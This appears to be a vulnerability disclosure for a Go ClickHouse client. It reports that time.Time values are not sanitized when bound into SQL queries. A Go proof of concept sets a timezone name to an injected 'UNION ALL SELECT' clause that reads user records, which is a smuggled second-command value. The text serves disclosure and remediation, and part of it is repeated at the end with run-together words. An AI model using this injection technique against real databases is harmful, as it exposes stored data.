Observed
In the format function, the cases of time.Time and *time.Time lack the proper sanitization of the provided value which can result in unexpected behavior of the SQL query executed against the database.
The impact and chance of abuse are low since it requires for the user of the library to allow arbitrary input into the time parameter.
Expected behaviour
The expected behavior is for the bind function to sanitize the provided input of all types.
Code example
Using the following snippet you can recreate the issue.
// Create a test table
_, err = db.Exec(`
CREATE TABLE IF NOT EXISTS test_users (
id UInt32,
username String,
email String,
created_at DateTime
) ENGINE = Memory
`)
if err != nil {
log.Fatal("Failed to create table:", err)
}
// Dummy data
_, err = db.Exec(`
INSERT INTO test_users (id, username, email, created_at) VALUES
(1, 'alice', '[email protected]', now()),
(2, 'bob', '[email protected]', now()),
(3, 'admin', '[email protected]', now())
`)
if err != nil {
log.Fatal("Failed to insert test data:", err)
}
// The union content would be user provided input.
namedMaliciousLoc := time.FixedZone("UTC') UNION ALL SELECT id, username, email FROM test_users --", 0)
namedMaliciousTime := time.Now().In(namedMaliciousLoc)
rows, err := db.Query(
"SELECT id, username, email FROM test_users WHERE created_at > @timestamp",
clickhouse.Named("timestamp", namedMaliciousTime),
)
Observed
In the format function, the cases of
time.Timeand*time.Timelack the proper sanitization of the provided value which can result in unexpected behavior of the SQL query executed against the database.The impact and chance of abuse are low since it requires for the user of the library to allow arbitrary input into the time parameter.
Expected behaviour
The expected behavior is for the bind function to sanitize the provided input of all types.
Code example
Using the following snippet you can recreate the issue.